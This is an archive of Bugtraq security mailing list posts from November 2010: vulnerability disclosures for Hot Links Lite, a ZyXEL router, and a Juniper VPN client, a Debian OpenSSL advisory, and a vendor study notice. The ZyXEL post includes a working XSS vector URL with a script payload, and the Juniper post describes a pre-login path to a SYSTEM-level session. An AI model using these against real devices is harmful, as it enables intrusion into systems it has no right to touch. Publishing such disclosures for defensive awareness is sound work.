CERT/US-CERT got informed: 11/15/2010 9:51 PM
- I got a return of CERT: 11/19/2010 9:12 AM
-- CERT direct me the vendor as they cannot work on the case (too much
load
on their side). (VU#776108)
I emailed the Microsoft one last time: 11/19/2010 9:15 AM.

Without answer I am now exhausted to try the report this bug correctly. So
it’s the reason of this disclosure.

Credit:

This vulnerability was discovered by Philippe Levesque

From - Tue Nov 23 18:32:43 2010
X-Account-Key: account7
X-UIDL: 4cc0600000012740
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45354-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 8C78CEC171
for <lists@securityspace.com>; Tue, 23 Nov 2010 13:34:17 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 3328E1439AC; Tue, 23 Nov 2010 11:25:51 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 32335 invoked from network); 23 Nov 2010 12:28:57 -0000
Date: Tue, 23 Nov 2010 05:28:56 -0700
Message-Id: <201011231228.oANCSu4q013009@www5.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: bt@evuln.com
To: bugtraq@securityfocus.com
Subject: [eVuln.com] sitename XSS in Hot Links Lite
Status: RO

New eVuln Advisory:
sitename XSS in Hot Links Lite
Summary: http://evuln.com/vulns/143/summary.html
Details: http://evuln.com/vulns/143/description.html

-----------Summary-----------
eVuln ID: EV0143
Software: Hot Links Lite
Vendor: Mrcgiguy
Version: 1.0
Critical Level: low
Type: Cross Site Scripting
Status: Unpatched. No reply from developer(s)
PoC: Available
Solution: Not available
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )
--------Description--------
XSS vulnerability found in sitename parameter of process.cgi script.
This can be used to insert any html or script code.
Admin panel is vulnerable also.
--------PoC/Exploit--------
PoC code is available at:
http://evuln.com/vulns/143/exploit.html
---------Solution----------
Not available
----------Credit-----------
Vulnerability discovered by Aliaksandr Hartsuyeu
http://evuln.com/tool/sql-encoder.html - SQL string encoder

From - Tue Nov 23 18:32:43 2010
X-Account-Key: account7
X-UIDL: 4cc0600000012741
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45352-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 27943EC175
for <lists@securityspace.com>; Tue, 23 Nov 2010 13:38:29 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 8862014379F; Tue, 23 Nov 2010 11:23:53 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 32429 invoked from network); 23 Nov 2010 12:33:59 -0000
Message-ID: <4CEBB443.7040604@xc0re.net>
Date: Tue, 23 Nov 2010 17:32:03 +0500
From: Usman Saeed <usman@xc0re.net>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6
MIME-Version: 1.0
To: bugtraq@securityfocus.com
Subject: ZyXEL P-660R-T1 V2 XSS
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - core11.hostingmadeeasy.com
X-AntiAbuse: Original Domain - securityfocus.com
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - xc0re.net
Status:

#####################################################################################
#
#   Name    :   ZyXEL P-660R-T1 V2 XSS
#   Author  :   Usman Saeed from Xc0re Security Research Group
#   Homepage :http://www.xc0re.net
#   Dated   :   22/11/2010
#
#####################################################################################

Exploit:

VECTOR :http://IP/Forms/home_1?&HomeCurrent_Date='<sCript>alert(1);</ScRiPt>'01%2F01%2F2000

This works with the post request ! As by default this value is sent through POST request.

From - Tue Nov 23 18:32:43 2010
X-Account-Key: account7
X-UIDL: 4cc0600000012742
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45351-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 30989EC175
for <lists@securityspace.com>; Tue, 23 Nov 2010 13:44:30 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 32A01143ACD; Tue, 23 Nov 2010 11:23:32 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 21572 invoked from network); 22 Nov 2010 22:39:40 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=+cLn3b6tTbd7EKM69jxkTFn/15pD8cCmySg5XBD9Mss=;
        b=XjkAksletlvqj7zxQIhiTb39zYjA0My0G+ogIwWAbdg8kfNKVJrGMomUPUg1/i4qDE
         C5sOu9/mmNsqGHPL58mMdvhmMDYRhf+B2Znvq4cKJDLa1oSl3DVX+2JROPJV5wLWzAAa
         JdXyOh4SLNkMv2l1d/j6ht4kEdUrEfbrBSUCADomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=oL49Q6qZwZMEbroXZ1oS6rNXp5Y4NkB/MHI52cDNH4Is3aW3dYaRn4/3E4Evkzii3T
         uNd+kNqCIZhExvXxmfUKAN8TAdhzLbHxjWnCIL7/52aZ0e7z2Psv1hP1JVfsBG2F1wAt
         aGy4vfSe4k8VZk9k+EwxFGBeKIx0OaLlcRa2sMIME-Version: 1.0
Sender: lolofon@gmail.com
Date: Mon, 22 Nov 2010 23:39:37 +0100
X-Google-Sender-Auth: fqDAe-CedFfMA2LcHgC9Pw3EY2w
Message-ID: <AANLkTi=fp6kAB8FfC_c3p_zOCjVom=gu4+EqUFdTkGfz@mail.gmail.com>
Subject: Juniper VPN client rdesktop clickhack
From: niekt0 <niekt0@hysteria.sk>
To: bugtraq@securityfocus.com
Content-Type: text/plain; charset=ISO-8859-1
Status:

Juniper VPN client rdesktop clickhack
===============================discovered by niekt0@hysteria.sk

PRODUCT: Juniper VPN client + Windows remote desktop (or console access)

VERSION AFFECTED: Win Vista/7 + Juniper VPN client (all versions)

EXPOSURE: Remote code execution (SYSTEM privileges)

SYNOPSIS
=======By simple clicking it is possible to spawn a
Internet Explorer instance on rdesktop session
before authentication.
Account on target server is not required.

PROOF OF CONCEPT
===============If small blue icon "network logon" is available in right down corner,
system may be vulnerable (windows vista & 7).
Click on the icon and keep clicking like a real power user until
you get your explorer.
Probably at least one VPN or Dial-UP connection must be defined.
Illustrated guide is available at
https://hysteria.sk/~niekt0/advisory/rdesktop_fun/

WORKAROUND
=========None known.

VENDOR RESPONSE
==============Not contacted. (try calling "helpdesk")

NOTICE
=====It is not really clear, if this is only juniper issue.
After third click, ale spawned screens are legitimate windows menu.
According to some guides it should be possible to create
"network logon" icon just by setting Windows. However,
I was not able to do so, at least not in Windows 7 ultimate.

Thanks to #brmlab, biiter

From - Tue Nov 23 18:32:44 2010
X-Account-Key: account7
X-UIDL: 4cc0600000012743
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45350-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 119A8EC174
for <lists@securityspace.com>; Tue, 23 Nov 2010 13:50:21 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 28A9114381C; Tue, 23 Nov 2010 11:22:33 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 19263 invoked from network); 22 Nov 2010 20:17:40 -0000
Resent-Cc: recipient list not shown: ;
Old-Return-Path: <sf@chopin.debian.org>
X-Original-To: lists-debian-security-announce@liszt.debian.org
Delivered-To: lists-debian-security-announce@liszt.debian.org
X-Virus-Scanned: at lists.debian.org with policy bank moderated
X-Spam-Flag: NO
X-Spam-Score: -9.581
X-Spam-Level:
X-Spam-Status: No, score=-9.581 tagged_above=-10000 required=5.3
tests=[BAYES_00=-2, FOURLA=0.1, FVGT_m_MULTI_ODD=0.02,
IMPRONONCABLE_1=1, IMPRONONCABLE_2=1, LDO_WHITELIST=-5,
MURPHY_WRONG_WORD1=0.1, MURPHY_WRONG_WORD2=0.2, NO_RELAYS=-0.001,
PGPSIGNATURE=-5] autolearn=ham
From: Stefan Fritsch <sf@debian.org>
X-Debian-Package: openssl
Message-Id: <E1PKcoy-0007uN-7h@chopin.debian.org>
Sender: Stefan Fritsch <sf@chopin.debian.org>
Date: Mon, 22 Nov 2010 20:17:04 +0000
X-Debian: PGP check passed for security officers
Subject: [SECURITY] [DSA-2125-1] New openssl packages fix buffer overflow
Priority: urgent
Resent-Message-ID: <vNoFW-kizoB.A.sjH.K_s6MB@liszt>
Reply-To: listadmin@securityfocus.com
Mail-Followup-To: bugtraq@securityfocus.com
To: bugtraq@securityfocus.com
Resent-Date: Mon, 22 Nov 2010 20:17:14 +0000 (UTC)
Resent-From: list@liszt.debian.org (Mailing List Manager)
Status:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-2125-1                  security@debian.org
http://www.debian.org/security/                           Stefan Fritsch
November 22, 2010                     http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : openssl
Vulnerability  : buffer overflow
Problem type   : remote
Debian-specific: no
Debian Bug     : 603709
CVE Id(s)      : CVE-2010-3864

A flaw has been found in the OpenSSL TLS server extension code parsing
which on affected servers can be exploited in a buffer overrun attack.
This allows an attacker to cause an appliation crash or potentially to
execute arbitrary code.

However, not all OpenSSL based SSL/TLS servers are vulnerable: A server
is vulnerable if it is multi-threaded and uses OpenSSL's internal caching
mechanism.  In particular the Apache HTTP server (which never uses OpenSSL
internal caching) and Stunnel (which includes its own workaround) are NOT
affected.

This upgrade fixes this issue. After the upgrade, any services using the
openssl libraries need to be restarted. The checkrestart script from the
debian-goodies package or lsof can help to find out which services need
to be restarted.

A note to users of the tor packages from the Debian backports or Debian
volatile: This openssl update causes problems with some versions of tor.
You need to update to tor 0.2.1.26-4~bpo50+1 or 0.2.1.26-1~lennyvolatile2,
respectively. The tor package version 0.2.0.35-1~lenny2 from Debian stable
is not affected by these problems.

For the stable distribution (lenny), the problem has been fixed in
openssl version 0.9.8g-15+lenny9.

For the testing distribution (squeeze) and the unstable distribution
(sid), this problem has been fixed in version 0.9.8o-3.

We recommend that you upgrade your openssl packages.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 5.0 alias lenny (stable)
- -----------------------------------------

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g.orig.tar.gz
    Size/MD5 checksum:  3354792 acf70a16359bf3658bdfb74bda1c4419
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9.dsc
    Size/MD5 checksum:     1973 1efb69f23999507bf2e74f5b848744af
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9.diff.gz
    Size/MD5 checksum:    60451 9aba44ed40b0c9c8ec82bd6cd33c44b8

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_alpha.deb
    Size/MD5 checksum:  2583248 3b3f0cbec4ec28eb310466237648db8f
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_alpha.deb
    Size/MD5 checksum:  1028998 79fe8cdd601aecd9f956033a04fb8da5
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_alpha.udeb
    Size/MD5 checksum:   722114 a388304bf86381229c306e79a5e85bf8
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_alpha.deb
    Size/MD5 checksum:  2814160 e0f6fc697f5e9c87b44aa15eb58c3ea8
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_alpha.deb
    Size/MD5 checksum:  4369318 c3cf8c7ec27f86563c34f45e986e17c4

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_amd64.deb
    Size/MD5 checksum:   975850 778916e8b0df8e216121cd5185d7ca43
  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_amd64.deb
    Size/MD5 checksum:  2243180 ff6a898ccd6fb49d5fbec9f4bd3cb6da
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_amd64.udeb
    Size/MD5 checksum:   638414 9ea111d66ac5f394d35fb69defa5dd27
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_amd64.deb
    Size/MD5 checksum:  1627632 9f08e1da5cf9279cee4700e89dc6ee6d
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_amd64.deb
    Size/MD5 checksum:  1043320 9ada82a7417c0d714a38c3a7184c2401

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_arm.udeb
    Size/MD5 checksum:   536038 a9c90bb3ad326fa43c1285c1768df046
  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_arm.deb
    Size/MD5 checksum:  2087048 bded4e624fcf0791ae0885aa18d99123
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_arm.deb
    Size/MD5 checksum:  1028894 20784774078f02ef7e9db2ddbd7d5548
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_arm.deb
    Size/MD5 checksum:  1490666 700c80efddb108b3e2a65373cc10dcc8
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_arm.deb
    Size/MD5 checksum:   844426 4cad5651a6d37ab19fb80b05a423598d

armel architecture (ARM EABI)

  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_armel.deb
    Size/MD5 checksum:  1029206 6c6c35731ecacfc0280520097ee183d4
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_armel.udeb
    Size/MD5 checksum:   540780 3b9ab48015bbd4dfc1ab205b42f1113d
  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_armel.deb
    Size/MD5 checksum:  2100958 fbf2c222a504e09e30f73cb0740a73a5
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_armel.deb
    Size/MD5 checksum:  1504318 8eaa760844c1b81d0f8bd21bdc7ca1d0
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_armel.deb
    Size/MD5 checksum:   850286 3e656a0805eb31600f8e3e520a2a6e36

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_hppa.deb
    Size/MD5 checksum:  2268562 8cb4805915dfde8326fde4281c9aaa76
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_hppa.deb
    Size/MD5 checksum:   969104 805c95116706c82051a5d08efce729e5
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_hppa.deb
    Size/MD5 checksum:  1047026 2e06d411c0a8764db3504638d3b59ef9
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_hppa.deb
    Size/MD5 checksum:  1528456 de6a4129635ee4565696198ce3423674
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_hppa.udeb
    Size/MD5 checksum:   634504 bab8594389626190b71ee97bfb46fa71

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_i386.deb
    Size/MD5 checksum:  2108452 d75ba6c13fc77dd3eefddde480a05231
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_i386.deb
    Size/MD5 checksum:  5393290 14bf0f44b8c802e47834234be834d80b
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_i386.deb
    Size/MD5 checksum:  2977384 bf4c26767b006694843d036ebdca132a
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_i386.udeb
    Size/MD5 checksum:   591782 bf5007e22e4bd31445458a5379086103
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_i386.deb
    Size/MD5 checksum:  1035868 64085f2b106009533bda0309f08548af

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_ia64.deb
    Size/MD5 checksum:  2666530 42cdae406ce22e3e538f0d744f043a39
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_ia64.deb
    Size/MD5 checksum:  1465582 33c84255a9515a9a528cbf3df9398ef5
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_ia64.udeb
    Size/MD5 checksum:   865352 9cbc10e393eb3d30d34ea384c6f1f9f5
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_ia64.deb
    Size/MD5 checksum:  1105090 cc7485d310d4770c2b1e93c6d74dcc2b
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_ia64.deb
    Size/MD5 checksum:  1280654 fde186a4983ac6cafcd3d5ec7e1d6f98

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_mips.deb
    Size/MD5 checksum:  1025868 8b7f565c4c0a15b15f20f2e074bb503a
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_mips.deb
    Size/MD5 checksum:   900162 391ac436c8d7ed7b55a8ea9e90c7d8be
  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_mips.deb
    Size/MD5 checksum:  2307960 227ac5c7b409d061222b94bc40e8cd18
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_mips.deb
    Size/MD5 checksum:  1622826 8a4f73d6cd497076490404a2dade26ba
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_mips.udeb
    Size/MD5 checksum:   585108 d8447df55a530959b6cd9d5d3039c0da

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_mipsel.deb
    Size/MD5 checksum:  1012186 4a154b5c4d864f7dcd0bf019dfb41c5d
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_mipsel.deb
    Size/MD5 checksum:  1588308 1222eb6b1870602335ef0722b7047b6a
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_mipsel.udeb
    Size/MD5 checksum:   572370 a2535f616be099e9361a55637c3375d3
  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_mipsel.deb
    Size/MD5 checksum:  2295070 7446121759684083870d5ae0d26969c0
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_mipsel.deb
    Size/MD5 checksum:   885668 3745e7c578002628f78f02bd5afeb84f

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_powerpc.deb
    Size/MD5 checksum:  1643808 43814c865d098046bc1dca1920820354
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_powerpc.deb
    Size/MD5 checksum:  1047060 5c45e5a5d02f856cb9dc29029d0b5557
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_powerpc.udeb
    Size/MD5 checksum:   656166 309fdeebe15bbecbe8c55dbd5ddbdd3a
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_powerpc.deb
    Size/MD5 checksum:   997540 f4bf73493f3964b8a23bdd424694f079
  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_powerpc.deb
    Size/MD5 checksum:  2251238 35f6f59b07e57eb538da19545a733d5f

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_s390.udeb
    Size/MD5 checksum:   693040 26cab41169c6b8f64ce7936a2ea65a7b
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_s390.deb
    Size/MD5 checksum:  1051130 f67b4fd152e1175f81022ffd345d6c78
  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_s390.deb
    Size/MD5 checksum:  2231782 c7796fff8c97bbf0c5ab69440cbd50f9
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_s390.deb
    Size/MD5 checksum:  1602496 a9595ac98fc11015dd4bb2634416197b
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_s390.deb
    Size/MD5 checksum:  1024562 ff293933ef4eb5e952659fe7caf82c8b

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8_0.9.8g-15+lenny9_sparc.deb
    Size/MD5 checksum:  2290536 e5c655fbcc524fe7bb56945cc8b2f5d1
  http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.8-dbg_0.9.8g-15+lenny9_sparc.deb
    Size/MD5 checksum:  3868850 b9cbaa2cbb2cfa4aa1dce984148dba4b
  http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.8g-15+lenny9_sparc.deb
    Size/MD5 checksum:  2146488 d0c17736c2b26a97491e34321ffff3f5
  http://security.debian.org/pool/updates/main/o/openssl/libcrypto0.9.8-udeb_0.9.8g-15+lenny9_sparc.udeb
    Size/MD5 checksum:   580510 28ab74855c8a34bb002b44fd7ecb8997
  http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.8g-15+lenny9_sparc.deb
    Size/MD5 checksum:  1043044 d78ffaf44d1177b05fa0cfb02d76128a

  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iD8DBQFM6s9pbxelr8HyTqQRAiJhAJ0Y0CILcBegVemwxzdg+Hhf9vdZfwCdFjaL
oaCxRqRAbcvYcQGmQ289dj0=Ckey
-----END PGP SIGNATURE-----

From - Wed Nov 24 19:07:06 2010
X-Account-Key: account7
X-UIDL: 4cc0600000012788
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45355-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id A5E29EC2A4
for <lists@securityspace.com>; Wed, 24 Nov 2010 09:53:46 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 7C6C823713B; Wed, 24 Nov 2010 07:50:27 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 13479 invoked from network); 24 Nov 2010 01:01:18 -0000
X-Virus-Scanned: amavisd-new at amis.net
X-Spam-Flag: NO
X-Spam-Score: -0.467
X-Spam-Level:
X-Spam-Status: No, score=-0.467 required=5 tests=[ALL_TRUSTED=-1,
SINGLE_HEADER_3K=0.533] autolearn=disabled
Reply-To: <security@acrossecurity.com>
From: "ACROS Security Lists" <lists@acros.si>
To: <bugtraq@securityfocus.com>, <full-disclosure@lists.grok.org.uk>,
<cert@cert.org>, <si-cert@arnes.si>
Subject: The Unbearable Lightness Of Non-Fixing: A Short Study in Security Reactiveness And Proactiveness
Date: Wed, 24 Nov 2010 01:59:52 +0100
Message-ID: <204D2A2A7CE24F2497514F97CA36AE52@acros.si>
MIME-Version: 1.0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Office Outlook 11
Thread-Index: ActPscQFyIGTobAdTDWzfWkoOjI/NA=X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5994
Status: RO

Roughly 100 days after the Binary Planting (a.k.a. DLL hijacking, DLL preloading,
Insecure Library Loading) vulnerability has been (re)discovered in hundreds of
Windows applications (and likely undiscovered in thousands more), we've taken a
unique opportunity to compare software vendors' fixing of publicly known
vulnerabilities to their fixing of publicly unknown ones. We hope our short study
will provide the research community with a bit of insight into the elusive world of
"unknown unknowns" that is *actual* security.

http://blog.acrossecurity.com/2010/11/unbearable-lightness-of-non-fixing.html

Pleasant reading,

Mitja Kolsek
CEO&CTO

ACROS, d.o.o.
Makedonska ulica 113
SI - 2000 Maribor, Slovenia
tel: +386 2 3000 280
fax: +386 2 3000 282
web: http://www.acrossecurity.com

ACROS Security: Finding Your Digital Vulnerabilities Before Others Do

From - Wed Nov 24 19:07:08 2010
X-Account-Key: account7
X-UIDL: 4cc0600000012789
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
